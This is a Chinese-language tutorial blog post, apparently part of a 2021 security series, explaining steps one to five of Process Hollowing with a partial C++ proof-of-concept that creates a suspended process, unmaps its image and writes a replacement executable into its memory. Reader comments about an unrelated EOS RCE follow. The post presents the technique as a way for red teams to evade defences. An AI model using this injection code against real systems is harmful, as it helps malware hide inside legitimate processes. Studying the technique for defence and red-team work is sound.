Process Hollowing 跟【Day 06】致不滅的 DLL - DLL Injection 所介紹的 DLL Injection 都被 MITRE 歸類於 Process Injection 的範疇,也就是把自己的程式放到別的 Process 執行。
因為 Process Hollowing 是把一個合法的 Process 原本要執行的程式挖空,並替換成自己的程式,其中被替換掉的 Process 指向的檔案路徑仍然是原本的。雖然實際上執行的是惡意程式,但外表卻看起來正常。所以對於紅隊來說它的優點就是可以用來繞過一些防禦。
以下原理是在 32-bit 情況,因為同樣的技巧,32-bit 可以在 64-bit 執行,反之卻不能。但是 64-bit 原理其實一樣,只是有些細節差異。
在這一篇會說明前 5 個步驟,後 4 個會在下一篇繼續。
使用 CreateProcessA 建立 Process,其中有個重點是第六個參數 dwCreationFlags 必須是 CREATE_SUSPENDED (0x4),因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改。下面可以看到 MSDN 對這個 Flag 的描述。
The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.
所以說在我們建立了目標 Process,並且把它的記憶體竄改成我們自己的程式後,呼叫 ResumeThread 就可以讓它恢復執行。
有了目標 Process 的 Handle,就可以取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress。
使用 CreateFileA 取得目標檔案的 Handle,然後用 ReadFile 讀取檔案內容。
在這個步驟還需要取得 File Header 和 Optional Header 的位址。會需要 File Header 是因為我們需要其中的 NumberOfSections 成員。會需要 Optional Header 則是因為我們需要其中的 SizeOfImage、ImageBase、SizeOfHeaders、IMAGE_DATA_DIRECTORY、AddressOfEntryPoint。需要它們的原因是等等要把每個 Header 和 Section 排到正確的位址。
File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的。
從 ntdll.dll 中取出 NtUnmapViewOfSection 函數,Unmap 目標 Process 的 Image。
如果想要觀察這個函數實際上做了什麼,可以用 x32dbg 下斷點,然後用 Process Explorer 觀察目標 Process。
下圖左邊是我在 x32dbg 下斷點於執行 NtUnmapViewOfSection 之前,而右邊 Process Explorer 下方則是目標 Process 目前的 Image。
執行 NtUnmapViewOfSection 後原本的 Image 就消失了。
使用 VirtualAllocEx 向目標 Process 申請一塊記憶體,其中參數的設定很重要。hProcess 是目標 Process 的 Handle;lpAddress 是原本被 Unmap 的 Image 的 Base Address;dwSize 是我們要注入的檔案大小;flAllocationType 是 MEM_COMMIT | MEM_RESERVE;flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE。
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
把我們的檔案 Header 寫入目標 Process,首先要注意的是 Image Base 的部分。由於 Image 載入後,因為 ASLR(Address Space Layout Randomization) 的緣故,Image Base 不一定相同。
所以在改 Optional Header 中的 ImageBase 成員之前,我們要先算出檔案的 Image Base 和目標 Process 的 Image Base 的距離。之後就可以把檔案的 Header 用 WriteProcessMemory 寫到目標 Process。
那檔案的 Header 是指什麼呢?打開 PE-bear 查看檔案,可以看到左邊有 DOS Headers、DOS stub、NT Headers 等等。簡單來說,現在要寫入目標 Process 的部分就是除了 Sections 之外的東西。
POC 改自 m0n0ph1/Process-Hollowing,只有加入一些註解並把一些非必要的程式拔掉減少篇幅。完整的程式專案可以參考我的 GitHub zeze-zeze/2021iThome。
void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
    // 1. 建立一個 Suspended Process,它就是要被注入的目標 Process
    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
    // 第六個參數必須是 CREATE_SUSPENDED,因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改
    CreateProcessA
    (
        0,
        pDestCmdLine,		
        0, 
        0, 
        0, 
        CREATE_SUSPENDED, 
        0, 
        0, 
        pStartupInfo, 
        pProcessInfo
    );
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");
        return;
    }
    // 取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress
    PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
    // 2. 讀取要注入的檔案
    HANDLE hFile = CreateFileA
    (
        pSourceFile,
        GENERIC_READ, 
        0, 
        0, 
        OPEN_ALWAYS, 
        0, 
        0
    );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
    // 取得 File Header 和 Optional Header
    // File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的
    PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
    PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
    // 3. Unmap 目標 Process 的記憶體
    // 從 ntdll.dll 中取出 NtUnmapViewOfSection
    HMODULE hNTDLL = GetModuleHandleA("ntdll");
    FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
    _NtUnmapViewOfSection NtUnmapViewOfSection =
        (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
    DWORD dwResult = NtUnmapViewOfSection
    (
        pProcessInfo->hProcess, 
        pPEB->ImageBaseAddress
    );
    if (dwResult)
    {
        printf("Error unmapping section\r\n");
        return;
    }
    // 4. 在目標 Process 申請一塊記憶體
    // Process 是目標 Process 的 Handle
    // lpAddress 是原本被 Unmap 的 Image 的 Base Address
    // dwSize 是我們要注入的檔案大小
    // flAllocationType 是 MEM_COMMIT | MEM_RESERVE
    // flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE
    PVOID pRemoteImage = VirtualAllocEx
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed\r\n");
        return;
    }
    // 5. 把 Header 寫入目標 Process
    // 在改 Optional Header 中的 ImageBase 成員之前,算出檔案的 Image Base 和目標 Process 的 Image Base 的距離
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
    // 把我們的檔案 Header 寫入目標 Process
    if (!WriteProcessMemory
    (
        pProcessInfo->hProcess, 				
        pPEB->ImageBaseAddress, 
        pBuffer, 
        pSourceHeaders->OptionalHeader.SizeOfHeaders, 
        0
    ))
    {
        printf("Error writing process memory\r\n");
        return;
    }
我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?
像說這樣的手法算不算呢? <剛好想到 HITCON 2018 神祕議程>
http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html
我簡述一下這個情境,360 技術在 Github 上找到 EoS 幣有使用弱點的開源套件,
其中是32-bits,發現可能有 Process Injection 的可能?還是算 Buffer overflow?
寫信給原廠,後來改成 32 bits ,然後 360 又來通報一次又沒改,打下去造成很大的損失。
我覺得是很好的例子啦,但我不確定手法對不對?
相關新聞:https://www.chainnews.com/zh-hant/articles/868498249729.htm
我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?
Process Hollowing 不是一個通用的名詞,而是特定一種注入技巧,就是照這篇(加下一篇)講的流程所做的行為才叫 Process Hollowing。
http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html
https://www.chainnews.com/zh-hant/articles/868498249729.htm
這兩個連結講的事件看起來跟 Process Hollowing 沒什麼關係,它是用 out-of-bound (存取分配的記憶體以外的記憶體) 漏洞造成的 RCE。舉例:
int table[10];
// 這邊 offset 如果沒有限制 0~9 就會有 out-of-bound
table[offset] = data;
Process Hollowing 則是把 Process 中原本要執行的程式直接改成我們自己要執行的程式 (嚴格來說是把整個 Image 換掉),這件事本身不算漏洞。
好的!因為我是第一次聽到 Q"Q
感謝清楚詳細的說明!